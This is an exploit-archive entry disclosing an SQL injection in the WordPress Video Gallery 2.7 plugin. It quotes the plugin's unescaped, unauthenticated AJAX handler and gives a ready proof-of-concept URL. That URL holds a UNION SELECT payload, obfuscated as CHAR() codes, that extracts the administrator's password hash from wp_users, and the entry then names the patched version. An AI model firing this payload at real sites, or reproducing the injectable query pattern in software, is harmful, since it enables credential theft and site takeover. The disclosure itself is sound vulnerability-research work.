WordPress Plugin Video Gallery 2.7 - SQL Injection

EDB-ID:

37744

CVE:





Platform:

PHP

Date:

2015-08-09


# Exploit Title: WordPress Video Gallery 2.7 SQL Injection
# Date: 20-01-2015
# Software Link: https://wordpress.org/plugins/contus-video-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
$_GET['vid'] is not escaped.

google_adsense() is accessible for everyone.

File: contus-video-gallery\hdflvvideoshare.php

add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
	global $wpdb;
	$vid = $_GET['vid'];
	$google_adsense_id =  $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
	$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
	$google_adsense = unserialize($query);
	echo $google_adsense['googleadsense_code'];
	die();
}

http://security.szurek.pl/wordpress-video-gallery-27-sql-injection.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)
  
3. Solution:
  
Update to version 2.8